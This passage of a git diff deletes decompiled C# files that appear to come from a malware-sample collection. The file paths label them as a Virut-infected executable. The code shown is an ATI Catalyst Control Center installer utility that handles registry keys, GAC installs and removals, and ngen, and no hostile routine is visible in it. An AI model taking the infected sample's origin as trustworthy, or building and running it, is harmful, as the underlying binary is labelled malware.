ForceUninstallGAC, - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstall.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstall.cs deleted file mode 100644 index a376d211..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstall.cs +++ /dev/null @@ -1,566 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.CCCInstall -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using ATI.ACE.CCCInstall.Tasks; -using Microsoft.Win32; -using MsGac.Fusion.Native; -using System; -using System.Collections.Specialized; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace ATI.ACE.CCCInstall -{ - internal class CCCInstall - { - private const int MAX_NUM_ARGS = 4; - private const int MIN_NUM_ARGS = 1; - private const string ACE_PACKAGE_REGKEY32 = "SOFTWARE\\ATI\\ACE"; - private const string ACE_PACKAGE_REGKEY64 = "SOFTWARE\\Wow6432Node\\ATI\\ACE"; - private const string INSTALL_BRANDING_REGKEY = "SOFTWARE\\ATI Technologies\\Install\\ccc-branding"; - private const string REGKEY_LOCATION = "Location"; - private const string REGKEY_INSTALLDIR = "InstallDir"; - private const string ARG_NGEN_UPDATE = "ngen:update"; - private const string ARG_NGEN_INSTALL = "ngen:i"; - private const string ARG_GAC_INSTALL = "gac:i"; - private const string ARG_NGEN_UNINSTALL = "ngen:u"; - private const string ARG_GAC_UNINSTALL = "gac:u"; - private const string ARG_ALL_INSTALL = "all:i"; - private const string ARG_ALL_UNINSTALL = "all:u"; - private const string ARG_CREATEREG = "createreg"; - private const string ARG_CREATEVERSION = "createversion"; - private const string ARG_FILE = "-f"; - private const string ARG_BYPACKAGE = "-p"; - private const string ARG_ALLPACKAGES = "-a"; - private const string ARG_FORCEALLPACKAGES = "-fa"; - private const string ARG_FORCEBRANDING = "-fb"; - private const string ARG_NOLOG = "/nolog"; - private const int ACTION = 0; - private const int SPEC = 1; - private const int OPTIONAL_ARG = 2; - private const string ARG_TOKEN = "90ba9c70f846762e"; - private const string ARG_BRANDING = "Branding"; - private const string ARG_CCCBRANDING = "ccc-branding"; - private string[] args; - private CCCInstallLog Log; - private bool showLog = true; - private static bool allPackages; - private static bool gacInstall; - private static bool gacUninstall; - - private static void Main(string[] args) - { - ATI.ACE.CCCInstall.CCCInstall cccInstall = new ATI.ACE.CCCInstall.CCCInstall(args); - try - { - if (!ATI.ACE.CCCInstall.CCCInstall.allPackages) - return; - if (ATI.ACE.CCCInstall.CCCInstall.gacInstall) - { - RegistryKey subKey = Registry.LocalMachine.CreateSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey, RegistryKeyPermissionCheck.ReadWriteSubTree); - (subKey == null ? (RegistryKey) null : subKey.CreateSubKey("Assemblies", RegistryKeyPermissionCheck.ReadWriteSubTree))?.CreateSubKey("Installed"); - } - else - { - if (!ATI.ACE.CCCInstall.CCCInstall.gacUninstall) - return; - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey); - (registryKey == null ? (RegistryKey) null : registryKey.OpenSubKey("Assemblies", true))?.DeleteSubKey("Installed", false); - } - } - catch (Exception ex) - { - } - } - - private static string AceRegKey => IntPtr.Size == 8 ? "SOFTWARE\\Wow6432Node\\ATI\\ACE" : "SOFTWARE\\ATI\\ACE"; - - public CCCInstall(string[] argsParam) - { - if (argsParam.Length < 1) - this.ShowInvalidFormatError(); - if (argsParam[argsParam.Length - 1].Equals("/nolog", StringComparison.InvariantCultureIgnoreCase)) - { - this.showLog = false; - this.args = new string[argsParam.Length - 1]; - for (int index = 0; index < argsParam.Length - 1; ++index) - this.args[index] = argsParam[index]; - } - else - this.args = argsParam; - if (this.args.Length < 1 || this.args.Length > 4) - this.ShowInvalidFormatError(); - this.Log = new CCCInstallLog(this.showLog); - try - { - this.Log.LogMessage("ARGS passed: " + string.Join(" ", argsParam)); - if (this.args[0].Equals("createreg", StringComparison.InvariantCultureIgnoreCase)) - this.ParseSpecArg((ITask) new RegistryTasks(this.Log, Action.CreateReg)); - else if (this.args[0].Equals("createversion", StringComparison.InvariantCultureIgnoreCase) && this.args[1].Equals("-f", StringComparison.InvariantCultureIgnoreCase)) - new VersionTasks(this.Log, Action.CreateVersion).Run(this.args[2]); - else if (this.args[0].Equals("ngen:update", StringComparison.InvariantCultureIgnoreCase)) - new NgenTasks(this.Log, Action.UpdateNgen).Run(""); - else if (this.args[0].Equals("gac:i", StringComparison.InvariantCultureIgnoreCase)) - { - ATI.ACE.CCCInstall.CCCInstall.gacInstall = true; - this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.InstallGAC)); - } - else if (this.args[0].Equals("gac:u", StringComparison.InvariantCultureIgnoreCase)) - { - ATI.ACE.CCCInstall.CCCInstall.gacUninstall = true; - this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.UninstallGAC)); - } - else if (this.args[0].Equals("ngen:i", StringComparison.InvariantCultureIgnoreCase)) - this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.InstallNGen)); - else if (this.args[0].Equals("ngen:u", StringComparison.InvariantCultureIgnoreCase)) - this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.UninstallNGen)); - else if (this.args[0].Equals("all:i", StringComparison.InvariantCultureIgnoreCase)) - { - ATI.ACE.CCCInstall.CCCInstall.gacInstall = true; - this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.InstallGAC)); - this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.InstallNGen)); - this.ParseSpecArg((ITask) new RegistryTasks(this.Log, Action.CreateReg)); - } - else if (this.args[0].Equals("all:u", StringComparison.InvariantCultureIgnoreCase)) - { - ATI.ACE.CCCInstall.CCCInstall.gacUninstall = true; - this.ParseSpecArg((ITask) new NgenTasks(this.Log, Action.UninstallNGen)); - this.ParseSpecArg((ITask) new GACTasks(this.Log, Action.UninstallGAC)); - } - else - this.ShowInvalidFormatError(); - } - finally - { - if (this.showLog && this.Log != null) - this.Log.LogFinished(); - } - } - - private void RunOnPackage(string packageName, ITask task) - { - string name = ATI.ACE.CCCInstall.CCCInstall.AceRegKey + "\\Packages\\" + packageName; - RegistryKey registryKey = (RegistryKey) null; - try - { - registryKey = Registry.LocalMachine.OpenSubKey(name, false); - if (registryKey == null) - this.Log.LogMessage("Error: The registry key " + name + " does not exist."); - else if (!(registryKey.GetValue("Location") is string str)) - this.Log.LogMessage(string.Format("Error: The registry key {0}\\{1} does not exist.", (object) name, (object) "Location")); - else - task.Run(str + "\\Install.xml"); - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - finally - { - registryKey?.Close(); - } - } - - private StringCollection GetLanguages(RegistryKey ACEKey) - { - StringCollection languages = new StringCollection(); - if (ACEKey == null) - { - this.Log.LogMessage("Error: The registry key " + (object) ACEKey + " does not exist."); - } - else - { - try - { - RegistryKey registryKey = ACEKey.OpenSubKey("Languages", false); - if (registryKey == null) - { - this.Log.LogMessage("Error: The registry key " + (object) ACEKey + "\\Languages does not exist."); - } - else - { - string[] subKeyNames = registryKey.GetSubKeyNames(); - if (subKeyNames.Length > 0) - { - for (int index = 0; index < subKeyNames.Length; ++index) - { - if (!subKeyNames[index].Equals("en-US")) - languages.Add(subKeyNames[index]); - } - } - } - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - } - return languages; - } - - private void RunOnAllPackages(ITask task) - { - RegistryKey ACEKey = (RegistryKey) null; - try - { - ACEKey = Registry.LocalMachine.OpenSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey, false); - if (ACEKey == null) - { - this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + " does not exist."); - } - else - { - StringCollection languages = this.GetLanguages(ACEKey); - RegistryKey registryKey1 = ACEKey.OpenSubKey("Packages", false); - if (registryKey1 == null) - { - this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + "\\Packages does not exist."); - } - else - { - foreach (string subKeyName in registryKey1.GetSubKeyNames()) - { - try - { - RegistryKey registryKey2 = registryKey1.OpenSubKey(subKeyName); - if (registryKey2 != null) - { - string str1 = registryKey2.GetValue("Location") as string; - string filePath1 = str1 + "\\Install.xml"; - task.Run(filePath1); - foreach (string str2 in languages) - { - string filePath2 = string.Format("{0}\\{1}\\Install.xml", (object) str1, (object) str2); - task.Run(filePath2); - } - } - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - } - } - } - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - finally - { - ACEKey?.Close(); - } - } - - private void RunUnGacAll(ITask task) - { - try - { - this.Log.LogMessage("Option selected: Force remove all ATI file in the GAC"); - IAssemblyCache ppAsmCache; - FusionApi.CreateAssemblyCache(out ppAsmCache, 0U); - int num1 = 0; - string str = ""; - MsGac.Fusion.Native.IAssemblyEnum ppEnum; - FusionApi.CreateAssemblyEnum(out ppEnum, IntPtr.Zero, (MsGac.Fusion.Native.IAssemblyName) null, ASM_CACHE_FLAGS.ASM_CACHE_GAC, IntPtr.Zero); - RegistryKey registryKey1 = (RegistryKey) null; - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(ATI.ACE.CCCInstall.CCCInstall.AceRegKey, false); - if (registryKey2 != null) - registryKey1 = registryKey2.OpenSubKey("Packages", false); - else - this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + " does not exist."); - if (registryKey1 == null) - { - this.Log.LogMessage("Error: The registry key " + ATI.ACE.CCCInstall.CCCInstall.AceRegKey + "\\Packages does not exist."); - } - else - { - RegistryKey registryKey3 = registryKey1.OpenSubKey("Branding"); - if (registryKey3 != null) - str = registryKey3.GetValue("Location") as string; - } - MsGac.Fusion.Native.IAssemblyName ppName; - while (ppEnum.GetNextAssembly(IntPtr.Zero, out ppName, 0U) == 0) - { - uint lpcwBuffer = 0; - ppName.GetName(ref lpcwBuffer, (StringBuilder) null); - StringBuilder pwzName = new StringBuilder((int) lpcwBuffer); - ppName.GetName(ref lpcwBuffer, pwzName); - MsGac.Fusion.Native.ASM_NAME[] values = (MsGac.Fusion.Native.ASM_NAME[]) Enum.GetValues(typeof (MsGac.Fusion.Native.ASM_NAME)); - for (int index1 = 0; index1 < values.Length; ++index1) - { - uint pcbProperty = 0; - IntPtr num2 = IntPtr.Zero; - try - { - ppName.GetProperty(values[index1], IntPtr.Zero, ref pcbProperty); - num2 = Marshal.AllocHGlobal((int) pcbProperty); - ppName.GetProperty(values[index1], num2, ref pcbProperty); - if (values[index1] == MsGac.Fusion.Native.ASM_NAME.PUBLIC_KEY_TOKEN) - { - byte[] destination = new byte[(int) pcbProperty]; - Marshal.Copy(num2, destination, 0, (int) pcbProperty); - StringBuilder stringBuilder = new StringBuilder(2 * (int) pcbProperty); - for (int index2 = 0; index2 < destination.Length; ++index2) - stringBuilder.AppendFormat("{0:x2}", (object) destination[index2]); - if (stringBuilder.ToString() == "90ba9c70f846762e") - { - string pszAssemblyName = pwzName.ToString(); - if (this.args.Length > 2 && this.args[2] == "-b" && File.Exists(str + "\\" + pszAssemblyName + ".dll")) - { - this.Log.LogMessage("Skipping Branding file: - " + str + "\\" + pszAssemblyName + ".dll"); - } - else - { - uint pulDisposition; - ppAsmCache.UninstallAssembly(0U, pszAssemblyName, (FUSION_INSTALL_REFERENCE[]) null, out pulDisposition); - if (pulDisposition != 1U) - this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" failed, ERROR!!!"); - else - this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" success"); - ++num1; - } - } - } - } - catch - { - } - finally - { - if (num2 != IntPtr.Zero) - Marshal.FreeHGlobal(num2); - } - } - } - this.Log.LogMessage("Total assembly removed: " + (object) num1); - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - } - - private void RunUnGacBranding(ITask task) - { - try - { - this.Log.LogMessage("Option selected: Force remove all ATI branding file in the GAC"); - IAssemblyCache ppAsmCache; - FusionApi.CreateAssemblyCache(out ppAsmCache, 0U); - int num1 = 0; - string str = ""; - MsGac.Fusion.Native.IAssemblyEnum ppEnum; - FusionApi.CreateAssemblyEnum(out ppEnum, IntPtr.Zero, (MsGac.Fusion.Native.IAssemblyName) null, ASM_CACHE_FLAGS.ASM_CACHE_GAC, IntPtr.Zero); - string name = "SOFTWARE\\ATI Technologies\\Install\\ccc-branding"; - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(name, false); - if (registryKey == null) - this.Log.LogMessage("Error: The registry key " + name + "\\Packages does not exist."); - else - str = registryKey.GetValue("InstallDir") as string; - if (str.Length < 1) - { - this.Log.LogMessage("ERROR, unable to locate Branding folder!!!"); - } - else - { - MsGac.Fusion.Native.IAssemblyName ppName; - while (ppEnum.GetNextAssembly(IntPtr.Zero, out ppName, 0U) == 0) - { - uint lpcwBuffer = 0; - ppName.GetName(ref lpcwBuffer, (StringBuilder) null); - StringBuilder pwzName = new StringBuilder((int) lpcwBuffer); - ppName.GetName(ref lpcwBuffer, pwzName); - MsGac.Fusion.Native.ASM_NAME[] values = (MsGac.Fusion.Native.ASM_NAME[]) Enum.GetValues(typeof (MsGac.Fusion.Native.ASM_NAME)); - for (int index1 = 0; index1 < values.Length; ++index1) - { - uint pcbProperty = 0; - IntPtr num2 = IntPtr.Zero; - try - { - ppName.GetProperty(values[index1], IntPtr.Zero, ref pcbProperty); - num2 = Marshal.AllocHGlobal((int) pcbProperty); - ppName.GetProperty(values[index1], num2, ref pcbProperty); - if (values[index1] == MsGac.Fusion.Native.ASM_NAME.PUBLIC_KEY_TOKEN) - { - byte[] destination = new byte[(int) pcbProperty]; - Marshal.Copy(num2, destination, 0, (int) pcbProperty); - StringBuilder stringBuilder = new StringBuilder(2 * (int) pcbProperty); - for (int index2 = 0; index2 < destination.Length; ++index2) - stringBuilder.AppendFormat("{0:x2}", (object) destination[index2]); - if (stringBuilder.ToString() == "90ba9c70f846762e") - { - string pszAssemblyName = pwzName.ToString(); - int length = this.args.Length; - if (File.Exists(str + "\\" + pszAssemblyName + ".dll")) - { - uint pulDisposition; - ppAsmCache.UninstallAssembly(0U, pszAssemblyName, (FUSION_INSTALL_REFERENCE[]) null, out pulDisposition); - if (pulDisposition != 1U) - { - this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" failed, ERROR!!!"); - } - else - { - this.Log.LogMessage("Uninstall \"" + pszAssemblyName + "\" success"); - ++num1; - } - } - else - this.Log.LogMessage("Skipping file, not branding: - " + str + "\\" + pszAssemblyName + ".dll"); - } - } - } - catch - { - } - finally - { - if (num2 != IntPtr.Zero) - Marshal.FreeHGlobal(num2); - } - } - } - this.Log.LogMessage("Total assembly removed: " + (object) num1); - } - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - } - - private void RecurseOnRegKey(RegistryKey key, ITask task) - { - try - { - if (key == null) - { - this.Log.LogMessage("Error: Key is null"); - } - else - { - string str = key.GetValue("Location", (object) string.Empty) as string; - if (string.IsNullOrEmpty(str)) - { - foreach (string subKeyName in key.GetSubKeyNames()) - this.RecurseOnRegKey(key.OpenSubKey(subKeyName), task); - } - else - { - string filePath = str + "\\Install.xml"; - task.Run(filePath); - } - } - } - catch (Exception ex) - { - this.Log.LogException(ex); - } - finally - { - key?.Close(); - } - } - - private void ParseSpecArg(ITask task) - { - if (this.args[1].Equals("-f", StringComparison.InvariantCultureIgnoreCase)) - { - if (this.args.Length <= 4) - task.Run(this.args[2]); - else - this.ShowInvalidFormatError(); - } - else if (this.args[1].Equals("-p", StringComparison.InvariantCultureIgnoreCase)) - { - if (this.args.Length <= 4) - this.RunOnPackage(this.args[2], task); - else - this.ShowInvalidFormatError(); - } - else if (this.args[1].Equals("-a", StringComparison.InvariantCultureIgnoreCase)) - { - ATI.ACE.CCCInstall.CCCInstall.allPackages = true; - if (this.args.Length >= 1) - this.RunOnAllPackages(task); - else - this.ShowInvalidFormatError(); - } - else if (this.args[1].Equals("-fa", StringComparison.InvariantCultureIgnoreCase)) - { - ATI.ACE.CCCInstall.CCCInstall.gacUninstall = true; - ATI.ACE.CCCInstall.CCCInstall.allPackages = true; - if (this.args.Length >= 1) - this.RunUnGacAll(task); - else - this.ShowInvalidFormatError(); - } - else if (this.args[1].Equals("-fb", StringComparison.InvariantCultureIgnoreCase)) - { - if (this.args.Length >= 1) - this.RunUnGacBranding(task); - else - this.ShowInvalidFormatError(); - } - else - this.ShowInvalidFormatError(); - } - - private void ShowInvalidFormatError() - { - Console.WriteLine("ATI (R) Catalyst Control Center Utility"); - Console.WriteLine("Copyright (C) ATI Technologies 2006."); - Console.WriteLine(""); - Console.WriteLine("Usage: CCCInstall.exe [filePath|packageName] [noLog]"); - Console.WriteLine(""); - Console.WriteLine("Actions:"); - Console.WriteLine(" ngen:i"); - Console.WriteLine(" Adds assemblies specified in the xml file into Native Assembly Cache"); - Console.WriteLine(" ngen:u"); - Console.WriteLine(" Removes assemblies specified in the xml file from Native Assembly Cache"); - Console.WriteLine(" ngen:update"); - Console.WriteLine(" Updates the ngened images and recompiles invalidated ones."); - Console.WriteLine(" gac:i"); - Console.WriteLine(" Adds assemblies specified in the xml file into GAC"); - Console.WriteLine(" gac:u"); - Console.WriteLine(" Removes assemblies specified in the xml file from GAC"); - Console.WriteLine(" createreg"); - Console.WriteLine(" Creates a registry containing the full name of the assemblies"); - Console.WriteLine(" createversion"); - Console.WriteLine(" Creates a dat file with the version number to be placed in the registry (-f only)"); - Console.WriteLine(" Ex: Core-Static\\CCCInstall.exe createversion -f Core-Static\\ACE.dat"); - Console.WriteLine(""); - Console.WriteLine("InputModes:"); - Console.WriteLine(" -f "); - Console.WriteLine(" Gets list of assemblies from Install.xml at the specified path"); - Console.WriteLine(" -p "); - Console.WriteLine(" Uses the Install.xml for the specified package referenced in the registry"); - Console.WriteLine(" -a"); - Console.WriteLine(" Reads the registry for all packages with a valid Install.xml, but skip branding"); - Console.WriteLine(" -fa"); - Console.WriteLine(" Option to remove all ATI file from the GAC without looking at XML files."); - Console.WriteLine(" -fa -b"); - Console.WriteLine(" Option to remove all ATI file from the GAC, but skip branding files."); - Console.WriteLine(" -fb"); - Console.WriteLine(" Option to remove all ATI branding file from the GAC without looking at XML files."); - Console.WriteLine(""); - Console.WriteLine("NoLog:"); - Console.WriteLine(" /nolog"); - Console.WriteLine(" Suppresses log file generation"); - Console.WriteLine(""); - Console.WriteLine(""); - if (this.showLog && this.Log != null) - { - this.Log.LogMessage("Invalid syntax."); - this.Log.LogFinished(); - } - Environment.Exit(1); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstallLog.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstallLog.cs deleted file mode 100644 index e1e691d8..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/CCCInstallLog.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.CCCInstallLog -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.IO; -using System.Text; - -namespace ATI.ACE.CCCInstall -{ - public class CCCInstallLog - { - private StringBuilder sb; - private bool ShowLog = true; - - public CCCInstallLog() - { - try - { - this.sb = new StringBuilder(); - this.sb.AppendLine("==========================================="); - this.sb.AppendLine("** CCCInstall started: " + DateTime.Now.ToString("u")); - } - catch - { - } - } - - public CCCInstallLog(bool showLog) - { - this.ShowLog = showLog; - if (!showLog) - return; - try - { - this.sb = new StringBuilder(); - this.sb.AppendLine("==========================================="); - this.sb.AppendLine("** CCCInstall started: " + DateTime.Now.ToString("u")); - } - catch - { - } - } - - public void LogException(Exception e) - { - if (!this.ShowLog) - return; - try - { - this.sb.AppendFormat("[{0}] Exception:\r\n{1}\r\n{2}\r\n", (object) DateTime.Now.ToString("u"), (object) e.Message, (object) e.StackTrace); - } - catch - { - } - } - - public void LogException(Exception e, string additionalMessage) - { - if (!this.ShowLog) - return; - try - { - this.sb.AppendFormat("[{0}] Exception: {1}\r\n{2}\r\n{3}\r\n", (object) DateTime.Now.ToString("u"), (object) additionalMessage, (object) e.Message, (object) e.StackTrace); - } - catch - { - } - } - - public void LogMessage(string message) - { - if (!this.ShowLog) - return; - try - { - this.sb.AppendFormat("[{0}] Message: {1}\r\n", (object) DateTime.Now.ToString("u"), (object) message); - } - catch - { - } - } - - public void LogFinished() - { - if (!this.ShowLog) - return; - StreamWriter streamWriter = (StreamWriter) null; - try - { - streamWriter = new StreamWriter("CCCInstall_" + DateTime.Now.ToString("yyyyMMddHHmmssffff") + ".log", true); - streamWriter.Write(this.sb.ToString()); - streamWriter.WriteLine("** CCCInstall ended: " + DateTime.Now.ToString("u")); - streamWriter.WriteLine("==========================================="); - } - finally - { - streamWriter?.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/BaseTask.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/BaseTask.cs deleted file mode 100644 index a204eee4..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/BaseTask.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Tasks.BaseTask -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.IO; -using System.Xml; - -namespace ATI.ACE.CCCInstall.Tasks -{ - internal abstract class BaseTask - { - protected CCCInstallLog Logger; - - public BaseTask(CCCInstallLog log) => this.Logger = log; - - protected XmlDocument LoadXmlDocument(string path) - { - XmlDocument xmlDocument = (XmlDocument) null; - try - { - xmlDocument = new XmlDocument(); - xmlDocument.Load(path); - } - catch (Exception ex) - { - this.Logger.LogException(ex, "Error loading XML file: " + path); - } - return xmlDocument; - } - - protected string MassagePath(string path) - { - string empty = string.Empty; - string path1 = path.Replace("/", "\\").Trim('"'); - if (!Path.IsPathRooted(path1)) - path1 = Path.GetFullPath(path1); - return File.Exists(path1) ? path1 : throw new FileNotFoundException("Could not find " + path1, path); - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/GACTasks.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/GACTasks.cs deleted file mode 100644 index 80b5264a..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/GACTasks.cs +++ /dev/null @@ -1,83 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Tasks.GACTasks -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.EnterpriseServices.Internal; -using System.IO; -using System.Reflection; -using System.Xml; - -namespace ATI.ACE.CCCInstall.Tasks -{ - internal class GACTasks : BaseTask, ITask - { - private const string ARG_BRANDING = "Branding"; - private Publish pub; - private ATI.ACE.CCCInstall.Action action; - - public GACTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action) - : base(log) - { - this.pub = new Publish(); - this.action = action; - } - - public void Run(string filePath) - { - try - { - string path = this.MassagePath(filePath); - string directoryName = Path.GetDirectoryName(path); - XmlDocument xmlDocument = this.LoadXmlDocument(path); - if (xmlDocument == null) - return; - this.Logger.LogMessage("Successfully loaded XML file " + path); - foreach (XmlNode selectNode in xmlDocument.SelectNodes("Package/Include")) - { - try - { - XmlAttributeCollection attributes = selectNode.Attributes; - string innerText1 = attributes["file"].InnerText; - string innerText2 = attributes["extension"].InnerText; - bool flag = bool.Parse(attributes["GAC"].InnerText); - string str = directoryName + "\\" + innerText1 + "." + innerText2; - if (flag) - { - try - { - Assembly.ReflectionOnlyLoadFrom(str); - if (this.action == ATI.ACE.CCCInstall.Action.InstallGAC) - { - this.pub.GacInstall(str); - this.Logger.LogMessage(innerText1 + "." + innerText2 + " successfully installed into the GAC"); - } - else if (this.action == ATI.ACE.CCCInstall.Action.UninstallGAC) - { - this.pub.GacRemove(str); - this.Logger.LogMessage(innerText1 + "." + innerText2 + " successfully removed from the GAC"); - } - else - this.Logger.LogMessage("Debug: Wrong parameter passed"); - } - catch (Exception ex) - { - this.Logger.LogException(ex, innerText1 + "." + innerText2); - } - } - } - catch (Exception ex) - { - this.Logger.LogException(ex); - } - } - } - catch (Exception ex) - { - this.Logger.LogException(ex); - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/ITask.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/ITask.cs deleted file mode 100644 index 38d54782..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/ITask.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Tasks.ITask -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -namespace ATI.ACE.CCCInstall.Tasks -{ - internal interface ITask - { - void Run(string filePath); - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/NgenTasks.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/NgenTasks.cs deleted file mode 100644 index 2dcab09d..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad/ATI/ACE/CCCInstall/Tasks/NgenTasks.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ATI.ACE.CCCInstall.Tasks.NgenTasks -// Assembly: CCCInstall, Version=2.0.3163.17516, Culture=neutral, PublicKeyToken=null -// MVID: FB1048F0-5C3B-4430-944F-CD20B70875CD -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-a5390b2b18d2a77666607470ebf93830056f4a617362a2ac03e16666a0bc6bad.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Xml; - -namespace ATI.ACE.CCCInstall.Tasks -{ - internal class NgenTasks : BaseTask, ITask - { - private ATI.ACE.CCCInstall.Action action; - - public NgenTasks(CCCInstallLog log, ATI.ACE.CCCInstall.Action action) - : base(log) - { - this.action = action; - } - - public void Run(string filePath) - { - if (this.action == ATI.ACE.CCCInstall.Action.UpdateNgen) - { - Process process = (Process) null; - StreamWriter streamWriter = (StreamWriter) null; - try - { - process = new Process(); - process.StartInfo.FileName 